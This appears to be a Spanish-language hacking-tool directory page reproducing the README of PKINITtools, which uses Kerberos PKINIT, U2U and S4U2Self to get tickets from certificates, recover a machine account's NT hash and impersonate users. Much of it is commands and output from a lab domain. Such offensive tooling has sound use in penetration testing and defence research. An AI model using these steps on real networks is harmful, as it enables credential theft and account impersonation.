Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
PKINITtools — Herramientas para Kerberos PKINIT y relaying a AD CS | Kitploit
Herramientas/GitHubGitHub/dirkjanm/pkinittools
ExplotaciónPruebas de PenetraciónAutenticación
GitHubdirkjanm/pkinittools

PKINITtools

Herramientas para Kerberos PKINIT y relaying a AD CS

Ver Repositorio
922107hace 1 añoRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Herramientas PKINIT

Este repositorio contiene algunas utilidades para jugar con PKINIT y certificados.
Las herramientas están construidas sobre minikerberos e impacket. Artículo de blog adjunto con más contexto: https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/

Instalación

Estas herramientas solo son compatibles con Python 3.5+. Clona el repositorio desde GitHub, instala las dependencias y estarás listo:

root@kitploit:~
git clone https://github.com/dirkjanm/PKINITtools
pip3 install impacket minikerberos

Se recomienda usar un virtualenv para esto.

Herramientas

gettgtpkinit.py

Solicita un TGT usando un archivo PFX, ya sea como archivo o como blob codificado en base64, o archivos PEM para cert+clave. Esto utiliza Kerberos PKINIT y generará un TGT en la ccache especificada. También imprimirá la clave de cifrado AS-REP que puedes necesitar para la herramienta getnthash.py. Ejemplo de uso:

root@kitploit:~
(PKINITtools) user@localhost:~/PKINITtools$ python gettgtpkinit.py -h
usage: gettgtpkinit.py [-h] [-cert-pfx file] [-pfx-pass password] [-pfx-base64 BASE64] [-cert-pem file] [-key-pem file] [-dc-ip DC_IP] [-v]
                       domain/username ccache

Requests a TGT using Kerberos PKINIT and either a PEM or PFX based certificate+key

positional arguments:
  domain/username     Domain and username in the cert
  ccache              ccache file to store the TGT in

optional arguments:
  -h, --help          show this help message and exit
  -cert-pfx file      PFX file
  -pfx-pass password  PFX file password
  -pfx-base64 BASE64  PFX file as base64 string
  -cert-pem file      Certificate in PEM format
  -key-pem file       Private key file in PEM format
  -dc-ip DC_IP        DC IP or hostname to use as KDC
  -v, --verbose

(PKINITtools) user@localhost:~/PKINITtools$ python gettgtpkinit.py testsegment.local/s2019dc\$ -cert-pfx ~/impacket-py3/cert.pfx -pfx-pass hoi s2019dc.ccache
2021-07-27 21:25:24,299 minikerberos INFO     Loading certificate and key from file
2021-07-27 21:25:24,316 minikerberos INFO     Requesting TGT
2021-07-27 21:25:24,333 minikerberos INFO     AS-REP encryption key (you might need this later):
2021-07-27 21:25:24,333 minikerberos INFO     5769dff44ebeaa5a37b4e9f7005f63063ffd7c198b747ae72021901e8063b0e3
2021-07-27 21:25:24,336 minikerberos INFO     Saved TGT to file

getnthash.py

Usa Kerberos U2U para enviar una solicitud TGS para ti mismo. Esto incluirá el PAC que a su vez contiene el hash NT que puedes descifrar con la clave AS-REP que se usó para tu TGT específico. Es realmente mágico. Esta herramienta requiere que un TGT resultante de PKINIT esté en tu variable de entorno KRB5CCNAME. Uso:

root@kitploit:~
(PKINITtools) user@localhost:~/PKINITtools$ python getnthash.py -h
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

usage: getnthash.py [-h] -key KEY [-dc-ip ip address] [-debug] identity

positional arguments:
  identity           domain/username

optional arguments:
  -h, --help         show this help message and exit
  -key KEY           AS REP key from gettgtpkinit.py
  -dc-ip ip address  IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter
  -debug             Turn DEBUG output ON

(PKINITtools) user@localhost:~/PKINITtools$ export KRB5CCNAME=s2019dc.ccache
(PKINITtools) user@localhost:~/PKINITtools$ python getnthash.py testsegment.local/s2019dc\$ -key 5769dff44ebeaa5a37b4e9f7005f63063ffd7c198b747ae72021901e8063b0e3
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
fa6b130d73311d1be5495f589f9f4571

gets4uticket.py

Usa Kerberos S4U2Self para solicitar un ticket de servicio que sea válido en el host para el cual has obtenido un certificado. Este ticket se puede usar luego para interactuar con el host original. Esto solo requiere un TGT para la cuenta de máquina de este host. Este TGT debe estar en un archivo ccache que especifiques en kerberos_connection_url. La única kerberos_connection_url aceptada para este ejemplo es una que contenga un archivo ccache, por ejemplo kerberos+ccache://domain.local\\victimhostname\$:[email protected]. El SPN debe ser un nombre de servicio en el host que estás suplantando; no puedes usar esto para ataques de delegación (ya que no implementa S4U2Proxy, ya hay muchas herramientas para eso). Uso:

root@kitploit:~
(PKINITtools) user@localhost:~/PKINITtools$ python gets4uticket.py -h
usage: gets4uticket.py [-h] [-v] kerberos_connection_url spn targetuser ccache

Gets an S4U2self ticket impersonating given user

positional arguments:
  kerberos_connection_url
                        the kerberos target string in the following format kerberos+ccache://domain\user:file.ccache@<domaincontroller-ip>
  spn                   the service principal in format <service>/<server-hostname>@<domain> Example: cifs/[email protected] for a
                        TGS ticket to be used for file access on server "fileserver". IMPORTANT: SERVER'S HOSTNAME MUST BE USED, NOT IP!!!
  targetuser
  ccache                ccache file to store the TGT ticket in

optional arguments:
  -h, --help            show this help message and exit
  -v, --verbose

(PKINITtools) user@localhost:~/PKINITtools$ python gets4uticket.py kerberos+ccache://testsegment.local\\s2019dc\$:[email protected] cifs/[email protected] [email protected] out.ccache -v
2021-07-28 10:09:13,687 minikerberos INFO     Trying to get SPN with [email protected] for cifs/[email protected]
2021-07-28 10:09:13,695 minikerberos INFO     Success!
2021-07-28 10:09:13,696 minikerberos INFO     Done!

Licencia

MIT

Créditos

  • SkelSec por minikerberos
  • Alberto Solino y el equipo de SecureAuthCorp por impacket
  • Mor Rubin por su primera implementación de PKINIT en Python como parte de AzureADJoinedMachinePTC
  • Benjamin Delpy por implementar estas cosas en kekeo
Descargar herramienta